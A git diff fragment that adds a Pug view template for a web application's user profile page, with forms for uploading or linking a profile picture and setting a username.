input#email.form-control(type='email', name='email', value='#{email}', readonly=true) - button(id='submit', type='submit').btn.btn-default Set Username - diff --git a/views/userProfile.pug b/views/userProfile.pug new file mode 100644 index 00000000000..19d64fd95fb --- /dev/null +++ b/views/userProfile.pug @@ -0,0 +1,82 @@ +doctype html +html(lang='en') + head + title _title_ + meta(charset='utf-8') + meta(name='description', content='') + meta(name='keywords', content='') + meta(name='viewport' content='width=device-width, initial-scale=1.0') + link(rel='icon', type='image/x-icon', href='./assets/public/_favicon_') + link(rel='stylesheet', href='https://code.getmdl.io/1.3.0/material.min.css') + link(rel='stylesheet', href='https://fonts.googleapis.com/icon?family=Material+Icons') + link(rel='stylesheet', href='./assets/public/css/userProfile.css', type='text/css') + link(rel='stylesheet', href='http://fonts.googleapis.com/css?family=Roboto:300,400,500,700', type='text/css') + script(src='//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js') + script(src='https://code.getmdl.io/1.3.0/material.min.js') + style. + .mdl-textfield__input { + border-bottom: 1px solid _textColor_ !important; + font-size: 13px !important; + } + body(style='background: _bgColor_;color:_textColor_;') + .mdl-layout.mdl-js-layout.mdl-layout--fixed-header + header.mdl-layout__header.mdl-shadow--8dp(style= 'background: _navColor_; height: auto; min-width: 100%; padding-bottom: 5px; width: 100%;') + .mdl-layout__header-row + a(href='./#/' style='color: _textColor_; text-decoration:none; margin-left: -50px;') + i(class='material-icons', style='display: block;margin-bottom: auto;margin-top: auto; margin-right: 10px;') arrow_back + a(href='./#/' style='color: _textColor_; text-decoration:none;') + span(style='margin-right: 20px;') + | Back + // Logo + a(href='./#/') + img(src='assets/public/images/_logo_', style='max-height: 60px; width: auto;', alt='_title_ Logo') + // Title + a(href='./#/' style='color: _textColor_; text-decoration:none;') + span.mdl-layout-title(style='font: 500 20px/32px Roboto,"Helvetica Neue",sans-serif;') + | _title_ + + main.mdl-layout__content(style=' display: block; margin-left: auto; margin-right:auto;') + section.section--center.mdl-grid.mdl-grid--no-spacing + .mdl-card#card.mdl-cell.mdl-cell--12-col.mdl-shadow--8dp(style='height: auto; min-width: 300px; width: 40%; display: block; margin-left: auto; margin-right:auto; background: _primLight_; margin-bottom: 50px; margin-top: 110px;') + .mdl-card__supporting-text.mdl-grid.mdl-grid--no-spacing + h1.mdl-cell.mdl-cell--12-col(style='color: _textColor_; font-size: 24px; line-height: 32px; margin-top: 16px; margin-bottom: 16px; font-weight: 400;') User Profile + .mdl-cell.mdl-cell--6-col-desktop.mdl-cell--12-col-tablet.mdl-cell--12-col-phone + img.img-rounded(src=profileImage, alt='profile picture', width='90%', height='236', style='margin-right: 5%; margin-left: 5%;') + p(style='margin-top:8%; color: _textColor_; text-align: center;') _username_ + form(action='./profile/image/file' , style='margin-top:10%; width: 90%; margin-right: auto; margin-left: auto;', method='post', enctype='multipart/form-data') + .form-group + label(for='picture', style='color: _textColor_; font-size: 12px;') File Upload: + input#picture(type='file', accept='image/*', name='file', size='150', style='color: _textColor_; margin-top: 4px;', aria-label='Input for selecting the profile picture') + .mdl-tooltip(for='picture', style='width: 150px; text-align: left;') + | • Maximum file size 150Kb + br + | • All image formats are accepted + button.mdl-button.mdl-js-button.mdl-button--raised.mdl-js-ripple-effect(type='submit', style='background-color:_navColor_; color: _textColor_; margin-top: 3%; text-transform: capitalize;', aria-label='Button to upload the profile picture') Upload Picture + + .breakLine(style='margin-top: 3%; margin-bottom: 3%; width: 90%; margin-right: auto; margin-left: auto;') + .line + div + .textOnLine(style='color: _textColor_;') or + .line + div + + form(action='./profile/image/url' , style='margin-top:5%; width: 90%; margin-right: auto; margin-left: auto;', method='post') + .form-group + .mdl-textfield.mdl-js-textfield.mdl-textfield--floating-label(style='width: 100%;') + input#url.form-control.mdl-textfield__input(type='text', name='imageUrl', style='color: _textColor_;', placeholder='e.g. https://www.gravatar.com/avatar/_emailHash_', aria-label='Text field for the image link') + label.mdl-textfield__label(for='url', style='color: _textColor_;') Image URL: + button(id='submitUrl', type='submit', style='background-color:_navColor_; color: _textColor_; margin-top: -10px; text-transform: capitalize;', aria-label='Button to include image from link').mdl-button.mdl-js-button.mdl-button--raised.mdl-js-ripple-effect Link Image + p(style='margin-bottom:10%;') + + .mdl-cell.mdl-cell--6-col-desktop.mdl-cell--12-col-tablet.mdl-cell--12-col-phone + form(action='./profile', method='post', style='width: 90%; margin-right: auto; margin-left: auto;') + .form-group + .mdl-textfield.mdl-js-textfield.mdl-textfield--floating-label(style='width: 100%; opacity: 0.7') + input#email.form-control.mdl-textfield__input(type='email', name='email', value=email, disabled=true, style='color: _textColor_;', aria-label='Disabled - Text field for the email') + label.mdl-textfield__label(for='email', style='color: _textColor_;') Email: + .form-group + .mdl-textfield.mdl-js-textfield.mdl-textfield--floating-label(style='width: 100%;') + input#username.form-control.mdl-textfield__input(type='text', name='username', value=username ,style='color: _textColor_;', placeholder='e.g. SuperUser', aria-label='Text field for the username') + label.mdl-textfield__label(for='username', style='color: _textColor_;') Username: + button(id='submit', type='submit', style='background-color:_navColor_; color: _textColor_; margin-top: -10px; text-transform: capitalize;', aria-label='Button to save/set the username').mdl-button.mdl-js-button.mdl-button--raised.mdl-js-ripple-effect Set Username + p(style='margin-bottom:10%;') \ No newline at end of file